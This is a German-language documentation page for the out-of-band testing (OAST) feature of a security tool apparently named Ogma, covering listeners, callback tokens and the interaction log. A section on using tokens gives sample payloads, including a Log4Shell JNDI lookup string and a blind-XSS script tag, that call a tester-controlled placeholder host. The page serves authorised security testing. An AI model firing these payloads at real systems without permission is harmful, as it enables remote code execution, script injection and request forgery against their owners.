OAST
OAST (Out-of-Band Application Security Testing) erkennt Schwachstellen, die keine sichtbare Antwort erzeugen. Stattdessen baut das Ziel eine ausgehende Verbindung zu einem von dir kontrollierten Listener auf und bestätigt dadurch das Problem.
Funktionsweise
Ogma betreibt lokale Listener für mehrere Protokolle. Wenn eine Zielanwendung einen dieser Listener kontaktiert, wird die Interaktion mit Quell-IP, Zeitstempel, empfangenen Daten und dem injizierten Token aufgezeichnet.
Listener-Protokolle
| Protokoll | Standardport | Anwendungsfall |
|---|---|---|
| HTTP | Konfigurierbar | SSRF, Blind XSS, Webhooks |
| HTTPS | Konfigurierbar | SSRF über TLS |
| DNS | Konfigurierbar | Blind Injection, XXE, log4shell |
| SMTP | Konfigurierbar | E-Mail-Header-Injection, SSRF gegen Maildienste |
Konfiguriere die Listener-Ports und den Domainnamen für erzeugte Tokens im OAST-Einstellungspanel.
Ein Callback-Token erzeugen
- Öffne Hilfswerkzeuge > OAST.
- Klicke auf + Neu und anschließend auf Erstellen. Jedes Token ist für den jeweiligen Test eindeutig.
- Kopiere das Token. Es enthält deine Listener-Domain und eine eindeutige Kennung, sodass Interaktionen dem jeweiligen Test zugeordnet werden können.
Beispiel für das Tokenformat: [unique-id].[your-oast-domain]
Tokens in Payloads verwenden
Injiziere das Callback-Token in jedes Feld, über das die Anwendung eine ausgehende Verbindung aufbauen könnte:
- SSRF: verwende das HTTP-/HTTPS-Token als Ziel-URL:
https://[token]/ - XXE: referenziere das Token in einem DOCTYPE oder der URL einer externen Entität.
- Log4Shell: bette es in einen Header ein:
${jndi:ldap://[token]/a} - Blind XSS: injiziere es als Script-src:
<script src="https://[token]/x.js"></script> - SMTP-Injection: verwende es als Zieladresse oder URL in E-Mail-Headern.
Interaktionsprotokoll
Das Interaktionspanel zeigt jeden empfangenen Callback:
| Spalte | Beschreibung |
|---|---|
| Zeit | Zeitpunkt des Empfangs der Interaktion |
| Protokoll | HTTP, HTTPS, DNS oder SMTP |
| Quell-IP | IP-Adresse, von der die Verbindung ausging |
| Token | Das kontaktierte Token |
| Daten | Anfragepfad, DNS-Abfragename oder SMTP-Daten |
Klicke auf eine Zeile, um die vollständigen Interaktionsdetails zu sehen, gegebenenfalls einschließlich Anfrage-Headern und Body.
Interaktionen Tests zuordnen
Da jedes Token eindeutig ist, kannst du verschiedene Tokens in unterschiedliche Parameter oder Anfragen injizieren und genau feststellen, welcher Injektionspunkt den Callback ausgelöst hat.